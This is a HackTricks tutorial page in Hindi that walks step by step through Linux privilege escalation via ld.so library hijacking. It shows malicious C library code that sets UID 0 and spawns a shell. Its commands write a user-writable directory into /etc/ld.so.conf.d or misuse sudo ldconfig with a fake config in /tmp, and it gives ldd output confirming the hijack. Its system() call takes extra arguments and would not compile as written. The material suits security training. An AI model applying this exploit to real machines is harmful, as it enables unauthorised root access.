ld.so privesc exploit example
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
वातावरण तैयार करें
अगले अनुभाग में आप उन फ़ाइलों का कोड पा सकते हैं जिन्हें हम वातावरण तैयार करने के लिए उपयोग करने जा रहे हैं
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
- अपने मशीन में उसी फ़ोल्डर में उन फ़ाइलों को बनाएँ
- लाइब्रेरी को संकलित करें:
gcc -shared -o libcustom.so -fPIC libcustom.c
libcustom.so
को कॉपी करें/usr/lib
:sudo cp libcustom.so /usr/lib
(रूट प्रिविलेज)- कार्यकारी फ़ाइल को संकलित करें:
gcc sharedvuln.c -o sharedvuln -lcustom
वातावरण की जाँच करें
जाँच करें कि libcustom.so /usr/lib से लोड हो रहा है और आप बाइनरी को कार्यन्वित कर सकते हैं।
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
Exploit
इस परिदृश्य में हम मान लेंगे कि किसी ने /etc/ld.so.conf/ के अंदर एक कमजोर प्रवेश बनाया है:
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
खतरे में पड़ा फ़ोल्डर /home/ubuntu/lib है (जहाँ हमारे पास लिखने की अनुमति है)।
डाउनलोड और संकलित करें निम्नलिखित कोड को उस पथ के अंदर:
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
अब जब हमने गलत कॉन्फ़िगर किए गए पथ के अंदर दुष्ट libcustom लाइब्रेरी बनाई है, हमें रीबूट का इंतजार करना होगा या रूट उपयोगकर्ता को ldconfig
चलाने के लिए कहना होगा (यदि आप इस बाइनरी को sudo के रूप में चला सकते हैं या इसमें suid बिट है, तो आप इसे स्वयं चला सकेंगे)।
एक बार जब यह हो जाता है, तो फिर से जांचें कि sharevuln
निष्पादन योग्य libcustom.so
लाइब्रेरी को कहाँ से लोड कर रहा है:
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
जैसा कि आप देख सकते हैं, यह /home/ubuntu/lib
से लोड हो रहा है और यदि कोई उपयोगकर्ता इसे निष्पादित करता है, तो एक शेल निष्पादित होगा:
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
note
ध्यान दें कि इस उदाहरण में हमने विशेषाधिकारों को बढ़ाया नहीं है, लेकिन निष्पादित किए गए आदेशों को संशोधित करके और रूट या अन्य विशेषाधिकार प्राप्त उपयोगकर्ता के द्वारा कमजोर बाइनरी को निष्पादित करने की प्रतीक्षा करके हम विशेषाधिकारों को बढ़ा सकेंगे।
अन्य गलत कॉन्फ़िगरेशन - समान vuln
पिछले उदाहरण में हमने एक गलत कॉन्फ़िगरेशन का अनुकरण किया जहां एक व्यवस्थापक ने /etc/ld.so.conf.d/
के अंदर एक कॉन्फ़िगरेशन फ़ाइल के अंदर एक गैर-विशेषाधिकार प्राप्त फ़ोल्डर सेट किया।
लेकिन अन्य गलत कॉन्फ़िगरेशन भी हैं जो समान कमजोरियों का कारण बन सकते हैं, यदि आपके पास /etc/ld.so.conf.d
के अंदर कुछ config file में लिखने की अनुमति है, /etc/ld.so.conf.d
फ़ोल्डर में या /etc/ld.so.conf
फ़ाइल में, तो आप समान कमजोरी को कॉन्फ़िगर कर सकते हैं और इसका लाभ उठा सकते हैं।
Exploit 2
मान लीजिए कि आपके पास ldconfig
पर sudo विशेषाधिकार हैं।
आप ldconfig
को यह बताने के लिए संकेत दे सकते हैं कि कॉन्फ़ फ़ाइलें कहाँ से लोड करनी हैं, इसलिए हम इसका लाभ उठाकर ldconfig
को मनमाने फ़ोल्डर लोड करने के लिए कह सकते हैं।
तो, चलिए "/tmp" को लोड करने के लिए आवश्यक फ़ाइलें और फ़ोल्डर बनाते हैं:
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
अब, जैसा कि पिछले एक्सप्लॉइट में संकेत दिया गया है, /tmp
के अंदर दुर्भावनापूर्ण लाइब्रेरी बनाएं।
और अंत में, चलिए पथ लोड करते हैं और जांचते हैं कि बाइनरी लाइब्रेरी को कहाँ से लोड कर रही है:
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
जैसा कि आप देख सकते हैं, ldconfig
पर sudo विशेषाधिकार होने से आप उसी कमजोरियों का लाभ उठा सकते हैं।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।